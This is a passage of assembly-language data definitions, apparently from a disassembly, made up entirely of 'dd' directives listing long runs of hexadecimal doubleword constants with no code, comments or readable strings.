1821080Bh, 45A98226h, 0E91CD6ACh, 0DA8CB157h dd 448C406Fh, 5F2ACC63h, 0D8E7D13Eh, 0DC1A6B0Dh, 8153C573h dd 4F1BDF7h, 165DA320h, 0C776C51h, 6B601A94h, 216C2B0Ch dd 0A3E91A17h, 5EC632A9h, 20554CF4h, 0E0E7605Dh, 542F5181h dd 0BD04FAC5h, 429C4F16h, 0DEE26DE9h, 524B9ECEh, 4F4082ACh dd 92FDB34Ah, 98C775B0h, 22314527h, 0BEA524E7h, 0E0D0A469h dd 3906C3BDh, 0BAF6B5Ch, 5075E905h, 535D4C2Bh, 2F1B8A06h dd 20209C1Dh, 0D988259Bh, 7B917094h, 53157C2h, 7D88AB5Bh dd 40175D59h, 0AA055684h, 84786F8Bh, 212D2A84h, 7A0576F1h dd 0A4CC8AA9h, 4FC4EE90h, 0ABA58C6h, 22B45713h, 0B090CFh dd 26825931h, 6C3EED81h, 45411104h, 8A9414E9h, 79EB9924h dd 0B6E67C74h, 248D90D5h, 96B0FE86h, 59DBD121h, 22B80176h dd 966B2FF0h, 9E44FECh, 3D39BBA8h, 8BB3B33Bh, 0D2FF7A2Bh dd 0D638FFB0h, 173CB20h, 0BA0D8158h, 3E2C7A1Bh, 0F0F979AFh dd 405B605Bh, 226D46D3h, 290B0CC2h, 0CFA6E166h, 8001471h dd 4F586850h, 0DC7A306Eh, 1E13452Eh, 0E812D9F7h, 2CC86288h dd 85415891h, 0A8E57748h, 5DC20D9h, 6FB1F581h, 0ED998191h dd 4D90D8A6h, 5DEA2912h, 680150BCh, 89034312h, 58677ED7h dd 6802BD44h, 34F57B4Ah, 525B04DFh, 0B03DDE9h, 986E6658h dd 0B53B4E5h, 957DC88h, 65ACD4DDh, 0DA718154h, 807A3892h dd 46F76853h, 0F0184F70h, 1B8006A0h, 536148B9h, 0D1B88412h dd 7A02EDB8h, 0C94FB6DCh, 2D74AC8Dh, 6C490197h, 5324F551h dd 0BB42D04Bh, 0AA2E2111h, 1D92A18Ch, 44F9FD52h, 0EC242E14h dd 90FCD5A7h, 69D86840h, 0F860FCB4h, 9E508EF1h, 0F08439B2h dd 0E711AEE9h, 0A5680AC2h, 0E9851D55h, 4ABF84BAh, 2CE02DBh dd 0E8A813D3h, 0B1E9E4C0h, 852FD5B6h, 51C5A7C5h, 8F419AB8h dd 335D0801h, 0A8A551B9h, 8C027792h, 0C70E0664h, 5687E0D1h dd 79CE5E3Bh, 22C7064h, 749DE913h, 0D2ABDE94h, 1AB85958h dd 0E65FFEE9h, 0F3688A30h, 0D7339F4Eh, 541BCD1h, 6EC0A30Bh dd 88530EAAh, 0DE6152D3h, 781FE950h, 2AB800B5h, 512E1209h dd 243DE8B9h, 1F6C2B95h, 0FD1C8FC1h, 0A9F6F53Dh, 0DDC54FFFh dd 80D994AAh, 36730F5Dh, 0EDC13009h, 1DE35E08h, 704084CDh dd 7A7FC23Bh, 6652545Eh, 7BE0091h, 0C17DE537h, 54C005E6h dd 100E2FC3h, 391EBE45h, 0DD144A05h, 5C0BBEE1h, 0CF4B68F0h dd 0A2BC27A9h, 0DA32D9FEh, 1ED85975h, 0CD0A5EC1h, 0D085C53Bh dd 0A712A010h, 22AA89E7h, 0D37CEED1h, 2831C781h, 33E6062h dd 47D7F732h, 1884181Ch, 20FCBF93h, 0C9DDAA17h, 0C7876FCAh dd 73C91124h, 1049CCEDh, 9F0EA2FEh, 5752A073h, 3B0C23BFh dd 497F0AC0h, 1860A218h, 6D5A4411h, 0B5225095h, 91809DDAh dd 0DA50B483h, 0AF4A97F8h, 0BC5AAEE6h, 57028486h, 0D48EDB6h dd 0A27B0816h, 355A2600h, 81F30212h, 9099553Ch, 6F5A12ADh dd 0D85BA3CFh, 3481CE1Ch, 12072407h, 0E03A61E8h, 29CABD05h dd 48E1ADC6h, 94E909F1h, 0A0F75AD2h, 0B187C2Ch, 0D0316125h dd 8EC270FEh, 0BD987F23h, 462FDC07h, 0BB97B35h, 9E6D831h dd 8963E92Dh, 0AF4599F8h, 0DADEC82Bh, 0BD807260h, 13CD7784h dd 0FE6C317Ch, 302EF248h, 37066698h, 0E425930h, 25ADB665h dd 0F4698958h, 2336C808h, 5CE0A7B4h, 4B68E1F7h, 0E9BD30BEh dd 0E09A9391h, 0FE5BD803h, 0E17434C8h, 206C0A6Bh, 0ABB2E3CFh dd 0DFCC0938h, 4D458BEAh, 54E44900h, 531D67C6h, 0B18123BBh dd 0EBA7E941h, 0EBA43128h, 2286DCBh, 0AAB3202Dh, 2D746813h dd 0C9C4B2ACh, 9E213504h, 537BEC2Bh, 5460B92Fh, 0D74A9392h dd 899F5EB3h, 0BE5F2CABh, 32B2BDB6h, 0F70C1156h, 7C66F99h dd 394C1B27h, 0B00DC453h, 0EAB96656h, 5760ED0Ah, 38B80EBEh dd 0EFBC9355h, 94834C78h, 132D1A7Ch, 0CFC3388Ah, 0FEF029E1h dd 2A9D2660h, 92A3A5D3h, 9740F78Bh, 0CE97539Fh, 81F54E81h dd 0F0B4BA4Dh, 5B957A7Ch, 6F300DEh, 0DA312CA1h, 43F282A0h dd 56DD1213h, 680987A8h, 62767780h, 8896FC5Ah, 0F32FF644h dd 0F07F126Ch, 0CC849A0h, 8159008Fh, 558D6F3h, 3DB4048h dd 0FAE1428h, 7EF0C2E9h, 0DA9251B4h, 0EA2E1955h, 297AD3D5h dd 0B4616BDDh, 87967E0Ch, 0B23D8297h, 0E4D08A41h, 9899AA05h dd 15211964h, 0A4200471h, 0B805B753h, 5C0C403Bh, 0AFE549B5h dd 1CF07DADh, 4E058690h, 2125E268h, 0B081C1C3h, 59935AD6h dd 9910F243h, 34BF0275h, 60227E1Ch, 123EEFE9h, 0BFDF7817h dd 51E40113h, 7E91751h, 0D7E6AC90h, 0A26E8289h, 7C5D241Ch dd 1136897h, 0A74E29B6h, 21322798h, 0FEF570F0h, 456B2DD1h dd 0C7F80143h, 9CD62B44h, 7C03F97Bh, 0C954A074h, 5485A18h dd 5C809905h, 3DB4A121h, 7D4FD22Ch, 0EE7041D7h, 558C50C1h dd 227A7B33h, 99D66A4Eh, 87F1952Fh, 5C67C052h, 31A983F4h dd 9D493A70h, 295FA5EFh, 1A1EFDF4h, 1238E72Ah, 809B0C2h dd 0B68400F5h, 2E01933Bh, 3D24EE87h, 12BC9064h, 27C35989h dd 32C9B963h, 28A46A01h, 429172Ch, 4022FD26h, 0B254E908h dd 0CE1B87D7h, 0D908D9F7h, 396CFAC7h, 0D286882h, 0D12433CCh dd 0A5C0C251h, 0CB2E7E03h, 0B61A0298h, 0CF40856Eh, 0E0EC833Ch dd 6F3281F2h, 0E070C820h, 82F32DC1h, 675A0277h, 3B11547Dh dd 10BE4A8Eh, 2E3F02D7h, 42E309E8h, 0A011C75h, 0FD890820h dd 0BDA4A3E9h, 443A3CF9h, 2871124h, 3B152A52h, 0C08FC3E1h dd 0C10A2DA1h, 924508E5h, 267B70Eh, 6A9BE948h, 464EDDC2h dd 2200A15Eh, 0CD8083B5h, 76EDE697h, 0CEC52709h, 0D09709D0h dd 0ED8390D8h, 25E9F1D0h, 8EF113BBh, 743A7B82h, 6C566105h dd 0CFE20ECAh, 85D7331Eh, 35AA8799h, 5BC5B94Ch, 79E94142h dd 4715D6DFh, 7549EF51h, 6DBB7BA0h, 724A3F65h, 9204D5EDh dd 0FB8DC09Ah, 5316D985h, 0E9094EFDh, 0CA47CAA5h, 0E2AC7E2Dh dd 80016ED1h, 697CEEBh, 13C7A868h, 20AEA185h, 4DEEC5DDh dd 0C397FA2Dh, 50602BAh, 409C0969h, 5E3C44DDh, 0B3891643h dd 0AB0BD34Fh, 0AC6A714Ah, 6551AFD7h, 9D0CE904h, 40855FFFh dd 0DC547C0Dh, 9090515h, 77E3AB42h, 0F583A502h, 6D66C307h dd 2F67B7C9h, 0EAFDE985h dd 849B27BBh, 0A7B59760h, 4DF530h, 43D0C720h, 76907B7Fh dd 8809C90h, 945AF1E9h, 0DE05ABCDh, 0BBBB74BAh, 90EE2C64h dd 56BF57D5h, 0CF367724h, 0E8A0208h, 0ECE4F201h, 758E9782h dd 91E28D1Dh, 55175D59h, 0CE42215Ah, 36A805E4h, 472F7A89h dd 8D6DE8C4h, 85E0F5F2h, 0E396811h, 8A9EA1E9h, 63C72F08h dd 0EFC0DCBDh, 0B83A5031h, 4F173BFEh, 0BC4025E1h, 2672189Eh dd 5674369h, 0C033510Bh, 0A235F3C8h, 5016402Dh, 8011027Bh dd 0B225E91Ah, 94E8B1A4h, 0F52BAF6Bh, 1C46BB6Ah, 2B85FF1Eh dd 81D6B450h, 3B80655h, 789FB252h, 63D19551h, 172C133Dh dd 0E669F821h, 4E7FEE36h, 50E10947h, 0DBEAD882h, 0FA15E30Bh dd 790050D0h, 76201768h, 7E21011Eh, 0D460A93Bh, 0FA06277Fh dd 2508E93Ch, 4C11292Bh, 9C5394AAh, 0F017510Fh, 6EA3BB80h dd 9B1BCF7h, 61FF300h, 352371Dh, 0E5490DBAh, 0C1894A28h dd 262D60E2h, 43B7C41h, 0BAD58BB1h, 0C71C58CAh, 1EA90382h dd 0CA10DF01h, 0FE079A99h, 40D2F6CAh, 0CDF280C2h, 4F12EAE6h dd 30CDD388h, 0D7B1AB02h, 1CC9BBE6h, 0FB4387B2h, 6635159h dd 3D66C331h, 0BA68561Ch, 95E3B4A7h, 9677E729h, 69662061h dd 190CC81h, 0D76FEE81h, 7BF9B7DDh, 934987CCh, 629D4AB7h dd 7487F288h, 5BFE0338h, 395CB353h, 0E3833BD6h, 5EBC011h dd 17880C48h, 1FC9CB35h, 0A9D738E0h, 0BB41EFFDh, 845308C9h dd 78E7FAE3h, 685D09B5h, 0B2570EC0h, 6DE58057h, 0B81F442Ah dd 6ACD3871h, 0C4E9100Eh, 7EEFB4D6h, 4D54200Fh, 0EEDF8540h dd 0F128FFF7h, 2C11D93h, 0E912A268h, 0DE34EF24h, 5952CCAAh dd 29906818h, 827DF429h, 596EB5Eh, 0A9098DA8h, 80F4CE8Ah dd 1344A739h, 0CA52FA84h, 1367C25h, 7B4F1171h, 320FE805h dd 0AB812E5Bh, 0E2B6549h, 0C2BAB0BAh, 6815A260h, 10B8CE5Ch dd 58580A3Eh, 197833Eh, 0BB37154Dh, 0A81A4548h, 4E77686Bh dd 3B1AB0FFh, 573063ABh, 0CC0E7460h, 8EE92B4Ah, 0A0300841h dd 0BB9A4075h, 0DC08B005h, 738729D8h, 8CBC7FD5h, 4B90CA4Ah dd 0E4BB7922h, 79D7209Eh, 48F75D5Ah, 889E2F7Eh, 0A439B047h dd 21232E0h, 0CDE7CBCh, 0CB339C7Dh, 75D9601h, 6E3C17Ah dd 1784ED20h, 0FC85D76Fh, 68500BEBh, 0AFD3C702h, 0A29590D0h dd 0DDF9F6C3h, 0BD231866h, 6AF9424Bh, 3264AD07h, 0F70543D2h dd 2B00D229h, 2FB3F2FDh, 0C90E5167h, 6B552B4Fh, 47DEF008h dd 0E93F123Bh, 0D0B7E007h, 22B7E548h, 58C116A2h, 6413F849h dd 19800706h, 16F41AD0h, 8530E92Eh, 797AB647h, 0A72DBBA4h dd 73E8F46Ah, 0B0CFE5F1h, 6BB41667h, 0A8B14A51h, 97E47A79h dd 378187CCh, 0C01FF264h, 0DC7A8C0Fh, 0D2830146h, 0B80AA82Ch dd 63901720h, 30FD3F54h, 8A10E562h, 9E8B0B9Dh, 0CEDFF34Ah dd 87CCBF2Dh, 0DD9BE912h, 7E950161h, 59DFEE10h, 0C7D9830h dd 2E8E1EE2h, 0D2B95F6Bh, 89B92F61h, 0E65AD183h, 7396B76Fh dd 4902EBA1h, 384A150h, 2CAE5893h, 6B401D84h, 1EE607BEh dd 508164EBh, 7C167DC9h, 186450B7h, 0C5DF00Bh, 0CC2F6C60h dd 0CA6D82Ah, 105D8F7h, 0BB7B354Dh, 89133A0Bh, 0D07B0FC5h dd 1FF4B2Ch, 0A0E72126h, 99126B31h, 9BAD0A0h, 5BBC178Bh dd 0D51146C0h, 9F6A7582h, 0E90BFBC5h, 48D3E1D9h, 1DFBA43Ah dd 0E159292Dh, 0B8304128h, 0BC5205A4h, 0C2DFF725h, 210978DDh dd 421928C6h, 61EF8130h, 0C1E90D26h, 0EA5D2A76h, 0F2EDDD0Fh dd 5689CD5Ah, 0B440EBE7h, 5F8270BCh, 519F95C6h, 0C0836324h dd 8121FFFCh, 8604EEA4h, 74207E07h, 0E65E5FE0h, 250C222Bh dd 17FEAD49h, 20484C69h, 892EB26Ah, 410B64F5h, 4E89C67Eh dd 0A47FA252h, 0FBC4C8FFh, 8B3D634Eh, 5302303Bh, 80BF67E9h dd 5FEDBD6Ch, 0C93C4EBAh, 19BFDC27h, 1270253Dh, 9F9F3CDh dd 0A039ABD7h, 9233A22Ah, 0F6F4B03h, 0CAC09F0Ch, 4A092F62h dd 95FDD15Ch, 8180CDD0h, 0D4745734h, 0CC5E96Dh, 2D9F5538h dd 8807031Ah, 5AD7D1F2h, 271E785Eh, 0A7E7F605h, 0D20C058h dd 0C48019A5h, 0ECF0065Dh, 10B2CEC6h, 696291ECh, 57C5C223h dd 47537107h, 5506BC3h, 6CA2DB26h, 25AB7E69h, 0E941B4F9h dd 0FE0211A3h, 80301340h, 1B93EB58h, 0E241A843h, 591AFE02h dd 90D86F56h, 57879D86h, 82B36F4Eh, 4D605980h, 0D582E6C1h dd 0E912581Ch, 49446CE1h, 80A802EBh, 7E5A0380h, 1720E950h dd 495C5E76h, 0F7F6AE63h, 2C7C4F25h, 5DD01A97h, 2B948077h dd 0B816C048h, 92AB2076h, 0F5CA293Bh, 680EA762h, 2B49C19Dh dd 0BD0D14E8h, 8322E9C7h, 200BE92Ch, 0EB2CB78Eh, 7B7B90CBh dd 0BE838167h, 218E9794h, 41B04653h, 731F12C3h, 4DAE87Eh dd 715D6785h, 6C5C3C01h, 72406BF3h, 14B00BC6h, 3BC2B5B8h dd 0E9044676h, 16FDBCBBh, 121AF94Bh, 0BF656740h, 7DAB6E13h dd 1B652099h, 0D5BC4A4Fh, 0D82AE9C2h, 5E977FCh, 95A04769h dd 0BC2926CCh, 2D9816B4h, 0E90FD2B0h, 1B586Ch, 2E3A355Ah dd 0C62D5D16h, 0D90CA413h, 0E91020EEh, 5195C276h, 0B9AA831h dd 79E170DBh, 2605B00h, 0C1760D3Eh, 0E1D1063Ch, 31353216h dd 5D6855FEh, 7F2CF5E3h, 0E108FD0Bh, 0F40F388Ch, 16D3885Ah dd 66434710h, 922857BAh, 307FEB47h, 3CBB530Eh, 70A80878h dd 0F78C099Dh, 0FF848F76h, 81AFEC7Eh, 78EAB951h, 0CDE50DF9h dd 5325FB69h, 0C3BA1DE0h, 6FA76416h, 724BCF2h, 2585100Dh dd 5574B228h, 0B551C840h, 0E580170Eh, 46ED67A4h, 33E9E801h dd 0FE1F5668h, 0D737F9CCh, 14BAC20Ah, 5A492075h, 0A06D872Ch dd 410A184h, 3BE96641h, 0B1B7E8C9h, 842E555Bh, 6227E15Ch dd 0F2A3932Ah, 0E9F32906h, 0BB0CDB99h, 3E0611D3h, 3E9A41ADh dd 5F2E34E6h, 0A4555A14h, 23443CB5h, 24014ECh, 78657E75h dd 24CC7C59h, 3D6100BCh, 0D5217F15h, 97EDE4B8h, 4BBA055Eh dd 29DD2DDAh, 183C83E7h, 1CC72A91h, 36E3CCEh, 40DC0FA8h dd 90092D8Ah, 48637F57h, 80F0ACACh, 6626F830h, 620B365Bh dd 4FB9A90h, 0A5CCB190h, 59CB0E28h, 1270B868h, 0EFC225E9h dd 4B696CB9h, 528FB78Ah, 0EFBC4B8Eh, 14656984h, 470709F2h dd 0F6078774h, 3E342A77h, 19049CC5h, 72EACB77h, 1C7D586Ah dd 56530634h, 180FD4E9h, 290BBDh, 705EC738h, 0EE7E7A7Ch dd 231A0BCFh, 0D90416C3h, 0F010BC6h, 0BAF8044Ah, 0C727BBB9h dd 2340E9CAh, 5418F9E7h, 0C51A4E79h, 74142C45h, 0E3E98C62h dd 52093549h, 0FD2EA607h, 64F5C122h, 53608E71h, 16626850h dd 75B9D76h, 8589A2F0h, 248BDA4h, 0AF5CB9EEh, 0E988E036h dd 0BC80BD3Dh, 625870BFh, 9B4B7C7Ah, 595B0D00h, 50885253h dd 41D6E4C6h, 6B03AABh, 3CD5C2Fh, 0DD2558CFh, 0DA8EAC8Eh dd 0A2BEF506h, 23E7A129h, 69261E2Ch, 5BD56858h, 0C218F84Ch dd 777901E9h, 0BB49D666h, 0F9211B2Bh, 1A4DD14Fh, 0A2EB7581h dd 7E230B71h, 882E13C1h, 3A845657h, 0B2527791h, 0EEA0830h dd 57B3537Bh, 0AED8CBC5h, 0ABA87309h, 90E24677h, 818440D9h dd 6B85E50Ah, 0C500EE0Eh, 0D5D6054h, 0E2E95E01h, 69D809BAh dd 7B87663h, 7CCD4EAEh, 3702670Ch, 8FE90266h, 80804EFAh dd 277E01DCh, 0F474357Ch, 64706F09h, 54BD0295h, 2D5871CCh dd 0FAE90682h, 6812E2D8h, 80B209A5h, 0ACD918DEh, 4218CAEEh dd 0B65F71A8h, 3DE6BF67h, 4664CD25h, 24F79058h, 1EBE1FBEh dd 0F5AC0D3h, 0E468C0B7h dd 0DE25A3B4h, 8008720Bh, 7F1462FEh, 838C48F9h, 0AAF01B03h dd 738B80E6h, 90486F34h, 1B8B0297h, 0D7F73891h, 42770EE2h dd 4F3336A6h, 0EF4F13D9h, 7DE9683Ch, 0B148D64Fh, 1CF67ABFh dd 1335F74Eh, 3721D25Ch, 96046332h, 0B9382972h, 93815B68h dd 0DA56CF1h, 0C6BF8050h, 0B4EBF2FDh, 0A4968848h, 7AC26802h dd 0EE18E8D9h, 770980AFh, 0C18F1C4Fh, 0ECE9A961h, 9C2EA662h dd 0CC421B6Dh, 0BFA7A02Dh, 5CB75723h, 27353966h, 3C4EB0Dh dd 0B18512EFh, 70E22AE7h, 3C7D5C8Bh, 915BBD3Bh, 7949D289h dd 0F9DD8801h, 7004B712h, 21AFE769h, 295166B1h, 997E847Ch dd 0F4024109h, 0ACD67461h, 950FF0C8h, 155C25Bh, 29ACC2D1h dd 70845508h, 0ECF09430h, 0F6D7DEA0h, 4CB94E40h, 12060A5Bh dd 350FCA68h, 4BC9AA59h, 90A1F23Eh, 0E34912CBh, 0C1344D20h dd 4B327B77h, 0DEEDD060h, 8C0D3F7h, 550BE681h, 0A1C5829h dd 8826CB20h, 94E4FFAh, 687EB0D8h, 0B90A4BF9h, 0B3E984EAh dd 0B85C9AF0h, 0A238270Fh, 681591E6h, 85B62DAAh, 75FA0DB1h dd 0AD9285D1h, 8292DE42h, 688240B9h, 40A54BE1h, 0ED550C54h dd 0C90B8185h, 2F814A1h, 4D5D96Ch, 4F649133h, 0C5F31365h dd 0FA4C14E3h, 68F6B224h, 5CBF8839h, 755E066Fh, 7CFD2F9Fh dd 0DA366598h, 7542F782h, 29931255h, 7AB4FDDFh, 9F215C4Ah dd 0CA3A9E59h, 0F94074ECh, 58681266h, 1290A215h, 8DE26141h dd 16A8DF5Bh, 914311E9h, 1001CE68h, 25B342C9h, 514E1954h dd 1DF8B3Eh, 4CB61BA3h, 0B7AD3E9h, 0BAD65FBDh, 4C5EF2C2h dd 5268156Ah, 2F9CA164h, 9BD0C71Ah, 0E00EFD4Ch, 3A2047C7h dd 6D0646D6h, 0BFDE64E9h, 1D05577Ch, 0E0C15805h, 0EE32920Ah dd 0AF85E5A7h, 0A2FD2E4h, 0AD6FF905h, 77B188D4h, 8D3CBDE9h dd 835B6627h, 210F042h, 5C68BEE9h, 34B8B5Dh, 7A917FC0h dd 30765EDCh, 1ABB5330h, 79C86A1Fh, 697BF300h, 63D1289Fh dd 785C10EBh, 0C0561B3h, 7C349C3Ah, 171FD080h, 29681A44h dd 80950DDh, 4B070AF8h, 0D149D911h, 8BF205DBh, 6534BDB4h dd 0BC290CC7h, 87E94A41h, 1280645Eh, 84B9A2D3h, 0A0146018h dd 1288FD10h, 2B014E59h, 0F0570DB8h, 98CE847Eh, 0E972548Ah dd 8BA8BF4Bh, 0D1EEB92h, 36C2A4D2h, 59982B5h, 8BC5FD91h dd 0D047EA14h, 5FD21B46h, 43EBB52Fh, 4F295B4Eh, 93401E7Eh dd 573DDE66h, 0AD87C251h, 4A35B980h, 2962745Ch, 627A8Bh dd 8A3B450h, 16D0E348h, 6EE49419h, 2BF0757h, 0D20AAB36h dd 0F04C8BAEh, 288F8BEFh, 0A18B5DF8h, 4C3EF76h, 0E3D8F271h dd 0E90B16CBh, 16ECF912h, 748F14C6h, 0C9A7F25Fh, 0B85460ABh dd 2D15C030h, 763D6AEEh, 469FDA90h, 0F92976Ch, 0C3407662h dd 0B080CC21h, 0C728194Fh, 305BB658h, 81A051E9h, 0E17C8819h dd 38B92C39h, 2AF94AC4h, 0E9F00C61h, 0BB113435h, 3109D100h dd 4FEB8145h, 62EE0B18h, 0F2197E9h, 0CD68D001h, 0D5302B05h dd 3AD71FCh, 12F58152h, 0C4DC901Bh, 0A58BBB8Dh, 92685301h dd 201A2217h, 0DD0CF36Eh, 0C6C8725h, 0A532064Fh, 31B95176h dd 0C15B3490h, 0B52D138Ch, 419D4BD2h, 0A435A9E3h, 0BE5EB0D4h dd 1AC272C9h, 2CE1B961h, 0A5F387F6h, 0F7C176A2h, 0E8BD58A5h dd 545313F6h, 0EAA542B9h, 6D3BCA2Dh, 97103AECh, 0D966A24Ah dd 0BD521AC4h, 0A7A2BE80h, 894E8F1Dh, 0DEC471FDh, 0DD0105F9h dd 7CD28A1Eh, 352717ACh, 9ADC7BC2h, 0E76A4052h, 0D31D05E2h dd 0A827E917h, 675C2711h, 0FCB40C79h, 0A709F38Bh, 5667699h dd 0FD88DD9Eh, 9EB73D53h, 0BB09F316h, 5D2B6C77h, 8E636D92h dd 0DBBB3403h, 0D1424640h, 0E524B684h, 0B151285Ah, 99E380F4h dd 10BA80A3h, 0D3218BC5h, 4E37FA88h, 0BB922095h, 0A1625CE5h dd 0E6C7BFAEh, 535232E0h, 0A5C1F756h, 81B3819Ch, 9B0F70CDh dd 40D7F970h, 0AE4AB6B4h, 0E884A9FCh, 0D31E1C9Ah, 3936F025h dd 0F394ADE3h, 0E90B8F1Ah, 9F11F077h, 0A398883Ch, 271B266Fh dd 0E926AD16h, 0D7A60616h, 583BD67Ah, 1497F66Ah, 0BCE886B5h dd 0C0E9E101h, 2EE435E5h, 9B7A5CD1h, 0FA606A0Dh, 4B8B706Bh dd 2DAED53h, 79E9595Eh, 7035D20Fh, 25FE27D1h, 84BF9D7Ch dd 8DF8B1CCh, 0C6705D49h, 93B60F2Ch, 892B0908h, 0C5DA155Bh dd 5613EF9Bh, 0C622FAC0h, 0B2E9145Eh, 68C7E8C8h, 0F8432C69h dd 0B898015Fh, 927C412Fh, 94B75CE8h, 0C16474Ch, 62D8451Bh dd 0C6A4F826h, 1339559h, 0CFF26CEEh, 8CF3296Bh, 59E27C84h dd 0C61C8494h, 124542D6h, 88B8FE29h, 1C60690Bh, 2AE9C300h dd 8FBD6DAAh, 34C23C96h, 60207465h, 6103D67Dh, 0E9EE3A06h dd 5ACE2886h, 0F4B106B8h, 1D443AC4h, 0ECA874E1h, 563AFC4h dd 41AFD7F7h, 0AB0BED55h, 0DAC54099h, 50177708h, 8010F901h dd 74FF7D08h, 2BFF66EEh, 94041D88h, 0EC880EC1h, 8402E24Bh dd 0C0C61EEh, 4EFC4F2Dh, 0D34E80A4h, 63EC766h, 2530872Ch dd 78BAE909h, 0A35C5E53h, 721A26B3h, 6BDEDBAFh, 0F0A11547h dd 249C5888h, 9F7425B2h, 74253FA6h, 315889ABh, 0C3E2440Bh dd 81000356h, 0B27684F1h, 0BAE29F59h, 5F19B571h, 0E863E7B0h dd 8402B84Eh, 8C145B9Fh, 8CACF84Eh, 4801DF18h, 585E54D3h dd 719786F6h, 7C3E662Dh, 2408A041h, 807685E9h, 0FE58C220h dd 0EA1680CAh, 0A1E530E8h, 0B8E1D22Fh, 943C925Eh, 2DC634CAh dd 0B35511C6h, 8885116Eh, 5F028E4Bh, 4951F868h, 68869810h dd 0E0FC2D5Fh, 8E9B7E4Ah, 928E90Bh, 10A8287Bh, 0F9EA88A4h dd 0D030E12h, 112D0B80h, 89FD0B9Ah, 0D6EB8BF1h, 8E568334h dd 40D209B1h, 0BDC199B1h, 0BB398814h, 7CD78590h, 0FD84E94Bh dd 0F56AED99h, 9DB7457h, 63E86004h, 0CDEA5C01h, 5B0C0151h dd 8883705Fh, 0B0289E40h, 1D152C27h, 62D2514Dh, 5A41724Ch dd 6AC082EAh, 0FA2905E8h, 952E12C9h, 230BFE6Dh, 471CAB8Eh dd 10E98423h, 16680212h, 61DDDC13h, 2E20790Eh, 54853009h dd 64742D8Dh, 90A9857Ah, 0F9ED9929h, 7F684E65h, 5AF12E72h dd 65CB13F3h, 0A3D0AFB2h, 0FB252FEh, 5EAC01Ch, 0F6EDF3Ch dd 0F2E655CAh, 66900633h, 839DE72Ah, 0C3AD5B5Eh, 1970CC8Bh dd 7CBB5ED6h, 4730E968h, 5BC9B5EEh, 7950245Eh, 154A00D0h dd 3EE93538h, 4DD1BA5Ah, 8005785Ch, 0E67BF45Fh, 0E8C1120Ch dd 14070605h, 11CE48E9h, 0D439EB00h, 25D8F767h, 36262E00h dd 0FD033521h, 44B858B3h, 409BE240h, 4D9501A1h, 12922410h dd 0C159A002h, 0DB608EA2h, 5225C4BBh, 0B680D94Fh, 4B4B4E8Ch dd 0D94087BDh, 86D71613h, 73C4E83Bh, 9BC748h, 46735C52h dd 0BF08A8E9h, 4721DC18h, 84731C4Ch, 6805AD86h, 8579514h dd 56259B08h, 71782D7Ah, 396AC55h, 0A7E146B8h, 0F5803110h dd 2D0B2A22h, 0FEF29654h, 58E6B76Bh, 594E5598h, 62F2CCD7h dd 0C0E064DEh, 543BBF3Ch, 30B05D35h, 2097BB02h, 75F801F7h dd 60A53F45h, 5B12E974h, 4E958F96h, 14EDE1F0h, 9830F64Ah dd 0F82F4407h, 1284C917h, 2AF120Fh, 0B0D2DD26h, 0BC5AB985h dd 222DC064h, 0FC3B8D08h, 70551D8h, 145055D6h, 6052C7B6h dd 2449A7D2h, 0CA5228h, 0F2102EF3h, 5D73EB29h, 5450C327h dd 9910F283h, 0BE9164C9h, 0FE0CF862h, 4045EB76h, 2E75017h dd 6307E909h, 3726D75Bh, 0FB47B88h, 6173BC68h, 6967D916h dd 82BA8455h, 1B710412h, 17A810D0h, 1390F6CBh, 1DBE56EBh dd 0C10C115Bh, 7454E681h dd 0F6B0CFD7h, 0E83E27BBh, 10CE025Ch, 6075087Ch, 0C0397ECh dd 0A4E91691h, 9B09BFB9h, 0D7627E51h, 126AEA0Ah, 0EC798405h dd 223B07BEh, 3AC6AC97h, 7A828035h, 58873031h, 0FB50E186h dd 0D8A44062h, 7C4E06F1h, 9904CF0Ch, 0DE60E18h, 3A4F6005h dd 4DB3C38Ah, 30F589B1h, 0E4B77FB6h, 0A251B56Bh, 0F23DA43Eh dd 0FF5DEF42h, 5C0244BCh, 766D072Dh, 0D0827D0Bh, 667F8A6Bh dd 13BB7905h, 0AE4F960Ch, 6DC6C27h, 52A9003h, 4C2249DAh dd 0B2C9FB31h, 0C5F3A66Eh, 92BEB9E9h, 0E17FF3F8h, 5BE6A72Fh dd 0EFAEBD0Fh, 35B93D4h, 0EB284AD7h, 4B62EAFh, 1D3B636h dd 7E3363BFh, 41053568h, 0C3717A14h, 204F6661h, 0BA190B8h dd 5EF510EEh, 19DE07B9h, 0E0811A63h, 988138Ch, 774E70EAh dd 0C039F88Dh, 0C768A15h, 0E3815B01h, 88C24174h, 45C5936h dd 0A34A6468h, 6A5110B1h, 0EBD5F941h, 5C05BE05h, 7F009CBEh dd 1FF66179h, 50CA7829h, 2D8708EAh, 9595AD1h, 2D2BD40h dd 684F0B64h, 4C6645C2h, 0C003CF03h, 41215E1Bh, 9E0185EAh dd 28203D50h, 89582F18h, 0E60415F2h, 1B305CE2h, 80F28780h dd 290531E5h, 6571E93Ah, 32AA03EDh, 6E568FC1h, 54BEBED5h dd 0A32BC3F2h, 42521E9Ah, 435D319Eh, 3A076960h, 14563522h dd 9213D668h, 8405BBD3h, 0EACC174Dh, 0B0285EB0h, 0D741B511h dd 8B39EC66h, 3EF15A5Bh, 4C053460h, 12F9695Ch, 0DBCEECAh dd 102768E6h, 5B455E0Ch, 317841EAh, 0B588DF9Bh, 38680C65h dd 45B25B47h, 92B96C20h, 952BF0A0h, 0B35725C2h, 0FDA4FD2h dd 80145940h, 494E3503h, 0C4F252A8h, 53F61DF0h, 5968660Bh dd 41E8540Fh, 35CF885Bh, 0B4696C90h, 0A388B413h, 0FC5A4ED6h dd 2C5CA0F9h, 0F5F8E007h, 9134F2D2h, 0DE961D1h, 940A2CA3h dd 0F60827F5h, 18D81769h, 0D3870824h, 4C2614B8h, 4468176Ch dd 181E54Ch, 7D1062EBh, 0E3C30114h, 58080B95h, 0A13E790h dd 4D89AF94h, 5F9D022h, 8440C6C9h, 2DE0139h, 210E507Ah dd 1292E8D3h, 0FCAC755Ah, 4BB02312h, 1254D5A7h, 0AC40E310h dd 21F74109h, 0C9E57A0Eh, 4B0B447h, 5A294306h, 0B2CCE8EAh dd 18D7DE38h, 88AD7C41h, 2125AB74h, 92518C8h, 4F7B90C2h dd 4FD7E2D3h, 3F5F489h, 26BB5981h, 402CBF20h, 1F3D2191h dd 0D3403174h, 27A87DF3h, 0FA64091Dh, 0B913EC0Fh, 42CBE057h dd 27A6B0Ah, 504F6856h, 68C25984h, 5B6DA4DFh, 0CCC74282h dd 0BC92F2A2h, 0C62E38C4h, 0D4BD42AEh, 0B8DEA80Bh, 0C2665B02h dd 9092F74Bh, 